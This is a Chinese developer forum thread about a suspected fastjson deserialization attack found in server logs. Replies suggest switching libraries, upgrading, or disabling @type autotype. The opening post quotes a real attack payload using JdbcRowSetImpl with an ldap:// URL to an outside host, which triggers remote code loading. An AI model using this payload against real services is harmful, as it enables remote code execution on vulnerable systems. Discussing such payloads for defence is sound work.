moe3000
V2EX  ›  Java

服务疑似被尝试 fastjson 漏洞攻击

  •  
  •   moe3000 · May 6, 2022 · 5042 views
    This topic created in 1642 days ago, the information mentioned may be changed or developed.

    日志中查到有人发送异常参数至接口

    {"x":{{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://9.4.131.68:1389/fastjsonfc5fd1bcac3b753a7d4fa9dab78d162e","autoCommit":true}}
    

    查了下可能是 fastjson 反序列化攻击,目前项目使用的 fastjson 版本是 1.2.73 ,好像不在攻击范围内,请问下还有其他防御措施吗

    13 replies  •  2022-05-07 14:53:52 +08:00
    Jooooooooo
    Jooooooooo
    May 6, 2022
    1
    换 jackson
    moe3000
    moe3000
    OP
    May 6, 2022
    2
    @Jooooooooo 下个、下个版本一定
    BBCCBB
    BBCCBB
    May 6, 2022
    3
    不知道关掉这个按 @type 来反序列化的功能能不能防止这个问题? 就 http 请求的参数的反序列化用不到这个 @type 的功能.
    bthulu
    bthulu
    May 6, 2022❤️2
    4
    不在攻击范围内, 有空就升级到最新版, 没空就不管它. jackson 一样有这样的问题.
    clf
    clf
    May 6, 2022❤️3
    5
    公司的代码规范检查插件里。就直接代码检查 com.alibaba 的包。有用到的禁止提交代码。gitlab 的 hooks 也是加了检查。
    RainCats
    RainCats
    May 6, 2022❤️1
    6
    @clf 有点极端了吧,完全不用阿里系的东西
    clf
    clf
    May 6, 2022
    7
    @RainCats #6 也用的,但只用开源基金会支持的,阿里已经捐给 apache 的都是 apache 的包名。主要是不用 fastjson
    ufan0
    ufan0
    May 6, 2022
    8
    @clf #7 咱公司上海有开放招聘吗?想投!!!
    fff333
    fff333
    May 6, 2022
    9
    @moe3000 gson
    banmuyutian
    banmuyutian
    May 7, 2022
    10
    @clf #5
    我现在还用的阿里项目仅剩下 easyexcel
    3C3Ju2wXX3tpBWEL
    3C3Ju2wXX3tpBWEL
    May 7, 2022❤️1
    11
    脚本小子在瞎跑,不用太在意,结合业务看是否可以关闭自省 @type
    clf
    clf
    May 7, 2022
    12
    @banmuyutian 我们是直接用的 POI ,和基础服务的数据结构(比如表单等)封装了接口。
    xiaopigfly
    xiaopigfly
    May 7, 2022
    13
    问题不大,只要放到公网就会有人扫描。正常的。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2975 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 45ms · UTC 11:53 · PVG 19:53 · LAX 03:53 · JFK 06:53
    ♥ Do have faith in what you're doing.